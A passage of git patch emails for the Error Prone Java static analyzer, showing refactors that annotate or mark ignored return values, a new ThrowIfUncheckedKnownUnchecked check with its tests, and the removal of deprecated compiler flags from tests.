class Test {} @Test public void stopPolicy_init() { + InvalidCommandLineOptionException e = + assertThrows( + InvalidCommandLineOptionException.class, + () -> + compiler.compile(new String[] {"--should-stop=ifError=INIT"}, ImmutableList.of())); + assertThat(e).hasMessageThat().contains("--should-stop=ifError=INIT is not supported"); + } + + @Test + public void stopPolicy_init_xD() { InvalidCommandLineOptionException e = assertThrows( InvalidCommandLineOptionException.class, diff --git a/core/src/test/java/com/google/errorprone/ErrorProneJavacPluginTest.java b/core/src/test/java/com/google/errorprone/ErrorProneJavacPluginTest.java index 21d38ee64bf..b50eef04927 100644 --- a/core/src/test/java/com/google/errorprone/ErrorProneJavacPluginTest.java +++ b/core/src/test/java/com/google/errorprone/ErrorProneJavacPluginTest.java @@ -304,7 +304,7 @@ public void stopOnErrorPolicy() throws IOException { ImmutableList.of( "-Xplugin:ErrorProne", "-XDcompilePolicy=byfile", - "-XDshould-stop.ifError=LOWER"), + "--should-stop=ifError=LOWER"), ImmutableList.of(), fileManager.getJavaFileObjects(one, two)); assertThat(task.call()).isFalse(); From 7a736905260fcb8cc2097f62a565bd7c879c6ed4 Mon Sep 17 00:00:00 2001 From: Liam Miller-Cushon Date: Wed, 16 Oct 2024 15:38:38 -0700 Subject: [PATCH 19/25] Fix or suppress CheckReturnValue errors PiperOrigin-RevId: 686665984 --- .../errorprone/apply/ImportStatements.java | 5 +++ .../google/errorprone/util/Reachability.java | 4 +++ .../errorprone/fixes/AppliedFixTest.java | 2 +- .../errorprone/util/ASTHelpersTest.java | 4 +-- .../bugpatterns/StringSplitter.java | 14 ++++----- .../bugpatterns/time/TimeUnitMismatch.java | 4 +++ .../google/errorprone/refaster/Bindings.java | 1 + .../google/errorprone/refaster/Template.java | 15 ++++----- .../google/errorprone/refaster/UMatches.java | 2 +- .../errorprone/refaster/UTemplater.java | 4 +-- .../google/errorprone/refaster/Unifier.java | 2 ++ .../ErrorProneCompilerIntegrationTest.java | 31 ++++++++++--------- .../ErrorProneJavaCompilerTest.java | 4 +-- .../bugpatterns/ObjectToStringTest.java | 2 +- .../errorprone/BugPatternFileGenerator.java | 2 ++ 15 files changed, 59 insertions(+), 37 deletions(-) diff --git a/check_api/src/main/java/com/google/errorprone/apply/ImportStatements.java b/check_api/src/main/java/com/google/errorprone/apply/ImportStatements.java index fc457e3abf5..7849e096233 100644 --- a/check_api/src/main/java/com/google/errorprone/apply/ImportStatements.java +++ b/check_api/src/main/java/com/google/errorprone/apply/ImportStatements.java @@ -20,6 +20,7 @@ import com.google.common.base.Preconditions; import com.google.common.collect.ImmutableSet; import com.google.common.collect.Lists; +import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.sun.tools.javac.tree.EndPosTable; import com.sun.tools.javac.tree.JCTree; import com.sun.tools.javac.tree.JCTree.JCCompilationUnit; @@ -123,6 +124,7 @@ public int getEndPos() { * @param importToAdd a string representation of the import to add * @return true if the import was added */ + @CanIgnoreReturnValue public boolean add(String importToAdd) { return importStrings.add(importToAdd); } @@ -134,6 +136,7 @@ public boolean add(String importToAdd) { * @param importsToAdd a collection of imports to add * @return true if any imports were added to the list */ + @CanIgnoreReturnValue public boolean addAll(Collection importsToAdd) { return importStrings.addAll(importsToAdd); } @@ -145,6 +148,7 @@ public boolean addAll(Collection importsToAdd) { * @param importToRemove a string representation of the import to remove * @return true if the import was removed */ + @CanIgnoreReturnValue public boolean remove(String importToRemove) { return importStrings.remove(importToRemove); } @@ -156,6 +160,7 @@ public boolean remove(String importToRemove) { * @param importsToRemove a collection of imports to remove * @return true if any imports were removed from the list */ + @CanIgnoreReturnValue public boolean removeAll(Collection importsToRemove) { return importStrings.removeAll(importsToRemove); } diff --git a/check_api/src/main/java/com/google/errorprone/util/Reachability.java b/check_api/src/main/java/com/google/errorprone/util/Reachability.java index 67d31bf7d9c..12e644fa8ac 100644 --- a/check_api/src/main/java/com/google/errorprone/util/Reachability.java +++ b/check_api/src/main/java/com/google/errorprone/util/Reachability.java @@ -21,6 +21,7 @@ import static com.google.errorprone.util.ASTHelpers.getSymbol; import static java.util.Objects.requireNonNull; +import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.sun.source.tree.AssertTree; import com.sun.source.tree.BlockTree; import com.sun.source.tree.BreakTree; @@ -99,6 +100,9 @@ boolean scan(List trees) { return completes; } + // The result can be ignored to scan for label definitions in blocks that + // don't otherwise affect the result of the reachability analysis. + @CanIgnoreReturnValue private boolean scan(Tree tree) { return tree.accept(this, null); } diff --git a/check_api/src/test/java/com/google/errorprone/fixes/AppliedFixTest.java b/check_api/src/test/java/com/google/errorprone/fixes/AppliedFixTest.java index b68f8a12ce0..b8c0277f62d 100644 --- a/check_api/src/test/java/com/google/errorprone/fixes/AppliedFixTest.java +++ b/check_api/src/test/java/com/google/errorprone/fixes/AppliedFixTest.java @@ -163,7 +163,7 @@ public void shouldApplyFixesInReverseOrder() { // If the fixes had been applied in the wrong order, this would fail. // But it succeeds, so they were applied in the right order. - AppliedFix.fromSource(" ", endPositions).apply(mockFix); + var unused = AppliedFix.fromSource(" ", endPositions).apply(mockFix); } @Test diff --git a/check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java b/check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java index 6b3a968c8e5..ff4dd6c2aad 100644 --- a/check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java +++ b/check_api/src/test/java/com/google/errorprone/util/ASTHelpersTest.java @@ -1834,7 +1834,7 @@ public void typesWithModifiersTree() { private static void assertGetModifiersInvoked( Class clazz, Function getter) { T tree = mock(clazz); - ASTHelpers.getModifiers(tree); + var unused = ASTHelpers.getModifiers(tree); // This effectively means the same as {@code verify(tree).getModifiers()}. ModifiersTree ignored = getter.apply(verify(tree)); @@ -1871,7 +1871,7 @@ public void typesWithGetAnnotations() { private static void assertGetAnnotationsInvoked( Class clazz, Function> getter) { T tree = mock(clazz); - ASTHelpers.getAnnotations(tree); + var unused = ASTHelpers.getAnnotations(tree); // This effectively means the same as {@code verify(tree).getAnnotations()}. List ignored = getter.apply(verify(tree)); } diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/StringSplitter.java b/core/src/main/java/com/google/errorprone/bugpatterns/StringSplitter.java index 69b3897c596..69a00ea0e80 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/StringSplitter.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/StringSplitter.java @@ -216,14 +216,14 @@ public Boolean visitMemberSelect(MemberSelectTree tree, Void unused) { if (!isImplicitlyTyped) { fix.replace(varType, "List").addImport("java.util.List"); } - replaceWithSplitter(fix, tree, arg, state, "splitToList", needsMutableList[0]); - } else { - if (!isImplicitlyTyped) { - fix.replace(varType, "Iterable"); - } - replaceWithSplitter(fix, tree, arg, state, "split", needsMutableList[0]); + return Optional.of( + replaceWithSplitter(fix, tree, arg, state, "splitToList", needsMutableList[0]).build()); + } + if (!isImplicitlyTyped) { + fix.replace(varType, "Iterable"); } - return Optional.of(fix.build()); + return Optional.of( + replaceWithSplitter(fix, tree, arg, state, "split", needsMutableList[0]).build()); } private static String getMethodAndArgument( diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatch.java b/core/src/main/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatch.java index 9ed7fa74608..90360371895 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatch.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatch.java @@ -45,6 +45,7 @@ import com.google.common.collect.ImmutableSetMultimap; import com.google.errorprone.BugPattern; import com.google.errorprone.VisitorState; +import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.bugpatterns.BugChecker; import com.google.errorprone.bugpatterns.BugChecker.AssignmentTreeMatcher; import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; @@ -165,6 +166,7 @@ private boolean checkSetterStyleMethod( * Checks whether this call is a call to {@code TimeUnit.to*} and, if so, whether the units of its * parameter and its receiver disagree. */ + @CanIgnoreReturnValue private boolean checkTimeUnitToUnit( MethodInvocationTree tree, MethodSymbol methodSymbol, VisitorState state) { if (tree.getMethodSelect().getKind() != MEMBER_SELECT) { @@ -202,6 +204,7 @@ private static boolean isTimeUnit(Symbol receiverSymbol, VisitorState state) { .put(DAYS, "toDays") .buildOrThrow(); + @CanIgnoreReturnValue private boolean checkAll( List formals, List actuals, VisitorState state) { if (formals.size() != actuals.size()) { @@ -221,6 +224,7 @@ private boolean checkAll( return hasFinding; } + @CanIgnoreReturnValue private boolean check(String formalName, ExpressionTree actualTree, VisitorState state) { /* * Sometimes people name a Duration parameter something like "durationMs." Then we falsely diff --git a/core/src/main/java/com/google/errorprone/refaster/Bindings.java b/core/src/main/java/com/google/errorprone/refaster/Bindings.java index 1d99777ce2b..bfe2bfee082 100644 --- a/core/src/main/java/com/google/errorprone/refaster/Bindings.java +++ b/core/src/main/java/com/google/errorprone/refaster/Bindings.java @@ -124,6 +124,7 @@ public V getBinding(Key key) { } @SuppressWarnings("unchecked") + @CanIgnoreReturnValue public V putBinding(Key key, V value) { checkNotNull(value); return (V) super.put(key, value); diff --git a/core/src/main/java/com/google/errorprone/refaster/Template.java b/core/src/main/java/com/google/errorprone/refaster/Template.java index 4c226065741..6175c60cd29 100644 --- a/core/src/main/java/com/google/errorprone/refaster/Template.java +++ b/core/src/main/java/com/google/errorprone/refaster/Template.java @@ -200,13 +200,14 @@ protected Optional typecheck( List actualTypes) { try { ImmutableList freeTypeVars = freeTypeVars(unifier); - infer( - warner, - inliner, - inliner.inlineList(freeTypeVars), - expectedTypes, - inliner.symtab().voidType, - actualTypes); + var unused = + infer( + warner, + inliner, + inliner.inlineList(freeTypeVars), + expectedTypes, + inliner.symtab().voidType, + actualTypes); for (UTypeVar var : freeTypeVars) { Type instantiationForVar = diff --git a/core/src/main/java/com/google/errorprone/refaster/UMatches.java b/core/src/main/java/com/google/errorprone/refaster/UMatches.java index f6c07a3a5d9..ce70b4b5af4 100644 --- a/core/src/main/java/com/google/errorprone/refaster/UMatches.java +++ b/core/src/main/java/com/google/errorprone/refaster/UMatches.java @@ -40,7 +40,7 @@ public static UMatches create( boolean positive, UExpression expression) { // Verify that we can instantiate the Matcher - makeMatcher(matcherClass); + var unused = makeMatcher(matcherClass); return new AutoValue_UMatches(positive, matcherClass, expression); } diff --git a/core/src/main/java/com/google/errorprone/refaster/UTemplater.java b/core/src/main/java/com/google/errorprone/refaster/UTemplater.java index d33b3493791..02c738557d3 100644 --- a/core/src/main/java/com/google/errorprone/refaster/UTemplater.java +++ b/core/src/main/java/com/google/errorprone/refaster/UTemplater.java @@ -641,7 +641,7 @@ public UExpression visitIdentifier(IdentifierTree tree, Void v) { static Class> getValue(Matches matches) { String name; try { - matches.value(); + var unused = matches.value(); throw new RuntimeException("unreachable"); } catch (MirroredTypeException e) { DeclaredType type = (DeclaredType) e.getTypeMirror(); @@ -662,7 +662,7 @@ static Class> getValue(Matches matches static Class> getValue(NotMatches matches) { String name; try { - matches.value(); + var unused = matches.value(); throw new RuntimeException("unreachable"); } catch (MirroredTypeException e) { DeclaredType type = (DeclaredType) e.getTypeMirror(); diff --git a/core/src/main/java/com/google/errorprone/refaster/Unifier.java b/core/src/main/java/com/google/errorprone/refaster/Unifier.java index 7220bac1ea4..afad0a9939b 100644 --- a/core/src/main/java/com/google/errorprone/refaster/Unifier.java +++ b/core/src/main/java/com/google/errorprone/refaster/Unifier.java @@ -20,6 +20,7 @@ import com.google.common.base.Function; import com.google.common.base.Optional; import com.google.errorprone.SubContext; +import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.sun.tools.javac.code.Type; import com.sun.tools.javac.code.Types; import com.sun.tools.javac.tree.JCTree; @@ -75,6 +76,7 @@ public Inliner createInliner() { return bindings.getBinding(key); } + @CanIgnoreReturnValue public V putBinding(Bindings.Key key, V value) { checkArgument(!bindings.containsKey(key), "Cannot bind %s more than once", key); return bindings.putBinding(key, value); diff --git a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java index 4f5dc18ec60..fa3740d18d5 100644 --- a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java +++ b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java @@ -579,20 +579,22 @@ public Description matchReturn(ReturnTree tree, VisitorState state) { public void compilationWithError() { compilerBuilder.report(ScannerSupplier.fromBugCheckerClasses(CPSChecker.class)); compiler = compilerBuilder.build(); - compiler.compile( - new String[] { - "-XDshouldStopPolicyIfError=LOWER", - }, - Arrays.asList( - forSourceLines( - "Test.java", - """ - package test; - public class Test { - Object f() { return new NoSuch(); } - } - """))); + Result exitCode = + compiler.compile( + new String[] { + "-XDshouldStopPolicyIfError=LOWER", + }, + Arrays.asList( + forSourceLines( + "Test.java", + """ + package test; + public class Test { + Object f() { return new NoSuch(); } + } + """))); outputStream.flush(); + assertWithMessage(outputStream.toString()).that(exitCode).isEqualTo(Result.ERROR); String output = diagnosticHelper.getDiagnostics().toString(); assertThat(output).contains("error: cannot find symbol"); assertThat(output).doesNotContain("Using 'return' is considered harmful"); @@ -640,8 +642,9 @@ public class Test { compilerBuilder.report(ScannerSupplier.fromBugCheckerClasses(ForbiddenString.class)); compiler = compilerBuilder.build(); - compiler.compile(args, sources); + Result exitCode = compiler.compile(args, sources); outputStream.flush(); + assertWithMessage(outputStream.toString()).that(exitCode).isEqualTo(Result.ERROR); String output = diagnosticHelper.getDiagnostics().toString(); assertThat(output).contains("Please don't return this const value"); } diff --git a/core/src/test/java/com/google/errorprone/ErrorProneJavaCompilerTest.java b/core/src/test/java/com/google/errorprone/ErrorProneJavaCompilerTest.java index a6b81b3b89a..fb73c80a010 100644 --- a/core/src/test/java/com/google/errorprone/ErrorProneJavaCompilerTest.java +++ b/core/src/test/java/com/google/errorprone/ErrorProneJavaCompilerTest.java @@ -97,7 +97,7 @@ public void getStandardJavaFileManager() { JavaFileObjectDiagnosticListener listener = mock(JavaFileObjectDiagnosticListener.class); Locale locale = Locale.CANADA; - compiler.getStandardFileManager(listener, locale, null); + var unused = compiler.getStandardFileManager(listener, locale, null); verify(mockCompiler).getStandardFileManager(listener, locale, null); } @@ -111,7 +111,7 @@ public void run() { OutputStream err = mock(OutputStream.class); String[] arguments = {"-source", "8", "-target", "8"}; - compiler.run(in, out, err, arguments); + var unused = compiler.run(in, out, err, arguments); verify(mockCompiler).run(in, out, err, arguments); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java index a980a493305..bd0b9b31e6b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java @@ -176,7 +176,7 @@ public String toString() { public static class CompletionChecker extends BugChecker implements ClassTreeMatcher { @Override public Description matchClass(ClassTree tree, VisitorState state) { - state.getSymbolFromString(One.class.getName()); + var unused = state.getSymbolFromString(One.class.getName()); return Description.NO_MATCH; } } diff --git a/docgen/src/main/java/com/google/errorprone/BugPatternFileGenerator.java b/docgen/src/main/java/com/google/errorprone/BugPatternFileGenerator.java index 51286af9273..22ce16ea3eb 100644 --- a/docgen/src/main/java/com/google/errorprone/BugPatternFileGenerator.java +++ b/docgen/src/main/java/com/google/errorprone/BugPatternFileGenerator.java @@ -25,6 +25,7 @@ import com.google.common.collect.ImmutableMap; import com.google.common.io.LineProcessor; import com.google.errorprone.BugPattern.SeverityLevel; +import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.gson.Gson; import java.io.IOException; import java.io.StringWriter; @@ -78,6 +79,7 @@ public BugPatternFileGenerator( result = new ArrayList<>(); } + @CanIgnoreReturnValue @Override public boolean processLine(String line) throws IOException { BugPatternInstance pattern = new Gson().fromJson(line, BugPatternInstance.class); From 6380cc27fbc25c7de55be3e5a891e5025ff8cca8 Mon Sep 17 00:00:00 2001 From: cpovirk Date: Thu, 17 Oct 2024 07:06:11 -0700 Subject: [PATCH 20/25] Warn about `throwIfUnchecked(unchecked)`, which could be just `throw unchecked`. This was prompted by https://github.com/google/guava/pull/7434, in which the correct fix was `throwIfUnchecked(unchecked.getCause())`. (Compare [one other instance of that](https://github.com/googleapis/google-auth-library-java/blob/f154edb3d8503d29f0020b6904dfa40e034ded93/oauth2_http/java/com/google/auth/oauth2/ServiceAccountJwtAccessCredentials.java#L373).) But most hits in practice appear to be `catch (RuntimeException e) { throwIfUnchecked(e); }`, which isn't a bug, just unnecessary code (which can typically be further simplified sometimes as far as to remove the `try`-`catch` block entirely, as suggested by the Google-internal `RethrowException` check). This check could be written with Refaster (unknown commit), _but_: - That would prevent it from running at compile time. - That would in practice prevent us from open-sourcing it. - We'd need to use placeholders if we want to continue to remove the code after `throwIfUnchecked`, and placeholders can have slow runtime and won't remove code that has comments. (This check doesn't remove comments, either, but at least it will remove the code around them.) - Refaster can't handle `RuntimeException | Error e`, which comes up a couple times in our depot. - To cover all the cases we can correctly, the Refaster templates need to be written in just the right order (expression templates before block templates), and they end up about as complicated as this plain old Error Prone check. PiperOrigin-RevId: 686901145 --- .../ThrowIfUncheckedKnownUnchecked.java | 105 ++++++++++++ .../scanner/BuiltInCheckerSuppliers.java | 2 + .../ThrowIfUncheckedKnownUncheckedTest.java | 157 ++++++++++++++++++ 3 files changed, 264 insertions(+) create mode 100644 core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUnchecked.java create mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUncheckedTest.java diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUnchecked.java b/core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUnchecked.java new file mode 100644 index 00000000000..3e10fa95395 --- /dev/null +++ b/core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUnchecked.java @@ -0,0 +1,105 @@ +/* + * Copyright 2016 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except + * in compliance with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software distributed under the License + * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express + * or implied. See the License for the specific language governing permissions and limitations under + * the License. + */ + +package com.google.errorprone.bugpatterns; + +import static com.google.errorprone.BugPattern.SeverityLevel.WARNING; +import static com.google.errorprone.matchers.Description.NO_MATCH; +import static com.google.errorprone.matchers.Matchers.allOf; +import static com.google.errorprone.matchers.Matchers.anyOf; +import static com.google.errorprone.matchers.Matchers.argument; +import static com.google.errorprone.matchers.Matchers.argumentCount; +import static com.google.errorprone.matchers.method.MethodMatchers.staticMethod; +import static com.sun.source.tree.Tree.Kind.BLOCK; +import static com.sun.source.tree.Tree.Kind.EXPRESSION_STATEMENT; + +import com.google.errorprone.BugPattern; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; +import com.google.errorprone.fixes.SuggestedFix; +import com.google.errorprone.matchers.Description; +import com.google.errorprone.matchers.Matcher; +import com.google.errorprone.util.ASTHelpers; +import com.sun.source.tree.BlockTree; +import com.sun.source.tree.ExpressionTree; +import com.sun.source.tree.MethodInvocationTree; +import com.sun.tools.javac.code.Symtab; +import com.sun.tools.javac.code.Type; +import com.sun.tools.javac.code.Types; +import javax.lang.model.type.UnionType; + +/** A BugPattern; see the summary. */ +@BugPattern( + summary = "`throwIfUnchecked(knownUnchecked)` is equivalent to `throw knownUnchecked`.", + severity = WARNING) +public class ThrowIfUncheckedKnownUnchecked extends BugChecker + implements MethodInvocationTreeMatcher { + + private static final Matcher IS_THROW_IF_UNCHECKED = + allOf( + anyOf( + staticMethod().onClass("com.google.common.base.Throwables").named("throwIfUnchecked"), + staticMethod() + .onClass("com.google.common.base.Throwables") + .named("propagateIfPossible")), + argumentCount(1)); + + private static final Matcher IS_KNOWN_UNCHECKED = + new Matcher() { + @Override + public boolean matches(ExpressionTree tree, VisitorState state) { + Type type = ASTHelpers.getType(tree); + if (type.isUnion()) { + return ((UnionType) type) + .getAlternatives().stream().allMatch(t -> isKnownUnchecked(state, (Type) t)); + } else { + return isKnownUnchecked(state, type); + } + } + + boolean isKnownUnchecked(VisitorState state, Type type) { + Types types = state.getTypes(); + Symtab symtab = state.getSymtab(); + // Check erasure for generics. + // TODO(cpovirk): Is that necessary here or in ThrowIfUncheckedKnownChecked? + type = types.erasure(type); + return types.isSubtype(type, symtab.errorType) + || types.isSubtype(type, symtab.runtimeExceptionType); + } + }; + + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (IS_THROW_IF_UNCHECKED.matches(tree, state) + && argument(0, IS_KNOWN_UNCHECKED).matches(tree, state)) { + var fix = SuggestedFix.builder(); + fix.replace(tree, "throw " + state.getSourceForNode(tree.getArguments().get(0))); + /* + * Changing to `throw ...` make the compiler recognize everything afterward in the block as + * unreachable. To avoid build errors from that, we remove everything afterward. + * + * We might still produce build errors if code *after* the block becomes unreachable (because + * it's now possible to fall out of this block). That seems tolerable. + */ + var parent = state.getPath().getParentPath().getLeaf(); + var grandparent = state.getPath().getParentPath().getParentPath().getLeaf(); + if (parent.getKind() == EXPRESSION_STATEMENT && grandparent.getKind() == BLOCK) { + ((BlockTree) grandparent) + .getStatements().stream().dropWhile(t -> t != parent).skip(1).forEach(fix::delete); + } + return describeMatch(tree, fix.build()); + } + return NO_MATCH; + } +} diff --git a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java index 6cb6218f418..9806e788dd4 100644 --- a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java +++ b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java @@ -380,6 +380,7 @@ import com.google.errorprone.bugpatterns.ThreadLocalUsage; import com.google.errorprone.bugpatterns.ThreeLetterTimeZoneID; import com.google.errorprone.bugpatterns.ThrowIfUncheckedKnownChecked; +import com.google.errorprone.bugpatterns.ThrowIfUncheckedKnownUnchecked; import com.google.errorprone.bugpatterns.ThrowNull; import com.google.errorprone.bugpatterns.ThrowSpecificExceptions; import com.google.errorprone.bugpatterns.ThrowsUncheckedException; @@ -1086,6 +1087,7 @@ public static ScannerSupplier warningChecks() { ThreadLocalUsage.class, ThreadPriorityCheck.class, ThreeLetterTimeZoneID.class, + ThrowIfUncheckedKnownUnchecked.class, TimeUnitConversionChecker.class, ToStringReturnsNull.class, TraditionalSwitchExpression.class, diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUncheckedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUncheckedTest.java new file mode 100644 index 00000000000..477f5db5334 --- /dev/null +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownUncheckedTest.java @@ -0,0 +1,157 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except + * in compliance with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software distributed under the License + * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express + * or implied. See the License for the specific language governing permissions and limitations under + * the License. + */ + +package com.google.errorprone.bugpatterns; + +import com.google.errorprone.BugCheckerRefactoringTestHelper; +import com.google.errorprone.CompilationTestHelper; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +@RunWith(JUnit4.class) +public class ThrowIfUncheckedKnownUncheckedTest { + private final CompilationTestHelper compilationHelper = + CompilationTestHelper.newInstance(ThrowIfUncheckedKnownUnchecked.class, getClass()); + private final BugCheckerRefactoringTestHelper refactoringHelper = + BugCheckerRefactoringTestHelper.newInstance(ThrowIfUncheckedKnownUnchecked.class, getClass()); + + @Test + public void knownRuntimeException() { + compilationHelper + .addSourceLines( + "Foo.java", + """ + import static com.google.common.base.Throwables.throwIfUnchecked; + + class Foo { + void x(IllegalArgumentException e) { + // BUG: Diagnostic contains: + throwIfUnchecked(e); + } + } + """) + .doTest(); + } + + @Test + public void knownError() { + compilationHelper + .addSourceLines( + "Foo.java", + """ + import static com.google.common.base.Throwables.throwIfUnchecked; + + class Foo { + void x(LinkageError e) { + // BUG: Diagnostic contains: + throwIfUnchecked(e); + } + } + """) + .doTest(); + } + + @Test + public void knownUncheckedMulticatch() { + compilationHelper + .addSourceLines( + "Foo.java", + """ + import static com.google.common.base.Throwables.throwIfUnchecked; + + class Foo { + void x() { + try { + } catch (RuntimeException | Error e) { + // BUG: Diagnostic contains: + throwIfUnchecked(e); + } + } + } + """) + .doTest(); + } + + @Test + public void knownCheckedException() { + compilationHelper + .addSourceLines( + "Foo.java", + """ + import static com.google.common.base.Throwables.throwIfUnchecked; + + import java.io.IOException; + + class Foo { + void x(IOException e) { + throwIfUnchecked(e); + } + } + """) + .doTest(); + } + + @Test + public void unknownType() { + compilationHelper + .addSourceLines( + "Foo.java", + """ + import static com.google.common.base.Throwables.throwIfUnchecked; + + class Foo { + void x(Exception e) { + throwIfUnchecked(e); + } + } + """) + .doTest(); + } + + @Test + public void refactoring() { + refactoringHelper + .addInputLines( + "in/Foo.java", + """ + import static com.google.common.base.Throwables.throwIfUnchecked; + + class Foo { + void x(IllegalArgumentException e) { + log(e); + throwIfUnchecked(e); + throw new RuntimeException(e); + } + + void log(Throwable t) {} + } + """) + .addOutputLines( + "out/Foo.java", + """ + import static com.google.common.base.Throwables.throwIfUnchecked; + + class Foo { + void x(IllegalArgumentException e) { + log(e); + throw e; + } + + void log(Throwable t) {} + } + """) + .doTest(); + } +} From 40bb976809f79046bf46e065ca2d2e01f6efbfe9 Mon Sep 17 00:00:00 2001 From: cpovirk Date: Thu, 17 Oct 2024 07:09:34 -0700 Subject: [PATCH 21/25] Tweak `ThrowIfUncheckedKnownChecked` implementation to match `ThrowIfUncheckedKnownUnchecked`. (followup to unknown commit) PiperOrigin-RevId: 686902095 --- .../bugpatterns/ThrowIfUncheckedKnownChecked.java | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownChecked.java b/core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownChecked.java index a9f7e8e16b7..308b7cbf5c3 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownChecked.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownChecked.java @@ -34,10 +34,9 @@ import com.sun.tools.javac.code.Symtab; import com.sun.tools.javac.code.Type; import com.sun.tools.javac.code.Types; -import javax.lang.model.type.TypeMirror; import javax.lang.model.type.UnionType; -/** Catches no-op calls to {@code Throwables.throwIfUnchecked}. */ +/** A BugPattern; see the summary. */ @BugPattern(summary = "throwIfUnchecked(knownCheckedException) is a no-op.", severity = ERROR) public class ThrowIfUncheckedKnownChecked extends BugChecker implements MethodInvocationTreeMatcher { @@ -57,12 +56,8 @@ public class ThrowIfUncheckedKnownChecked extends BugChecker public boolean matches(ExpressionTree tree, VisitorState state) { Type type = ASTHelpers.getType(tree); if (type.isUnion()) { - for (TypeMirror alternative : ((UnionType) type).getAlternatives()) { - if (!isKnownCheckedException(state, (Type) alternative)) { - return false; - } - } - return true; + return ((UnionType) type) + .getAlternatives().stream().allMatch(t -> isKnownCheckedException(state, (Type) t)); } else { return isKnownCheckedException(state, type); } @@ -72,6 +67,7 @@ boolean isKnownCheckedException(VisitorState state, Type type) { Types types = state.getTypes(); Symtab symtab = state.getSymtab(); // Check erasure for generics. + // TODO(cpovirk): Is that necessary here or in ThrowIfUncheckedKnownUnchecked? type = types.erasure(type); return // Has to be some Exception: A variable of type Throwable might be an Error. From 6203a0eea4abaec9356fef6a2723a42057775055 Mon Sep 17 00:00:00 2001 From: Liam Miller-Cushon Date: Thu, 17 Oct 2024 08:02:46 -0700 Subject: [PATCH 22/25] Remove references to `-XDshouldStopPolicyIfError` now that `--should-stop=ifError=FLOW` is the default As pointed out in https://github.com/google/error-prone/pull/4618#issuecomment-2417416777 PiperOrigin-RevId: 686916247 --- .../google/errorprone/ErrorProneCompilerIntegrationTest.java | 3 --- .../com/google/errorprone/bugpatterns/FieldCanBeFinalTest.java | 3 --- 2 files changed, 6 deletions(-) diff --git a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java index fa3740d18d5..0574fb186cd 100644 --- a/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java +++ b/core/src/test/java/com/google/errorprone/ErrorProneCompilerIntegrationTest.java @@ -581,9 +581,6 @@ public void compilationWithError() { compiler = compilerBuilder.build(); Result exitCode = compiler.compile( - new String[] { - "-XDshouldStopPolicyIfError=LOWER", - }, Arrays.asList( forSourceLines( "Test.java", diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FieldCanBeFinalTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FieldCanBeFinalTest.java index 827b2c1724c..abacd96eb07 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FieldCanBeFinalTest.java +++ 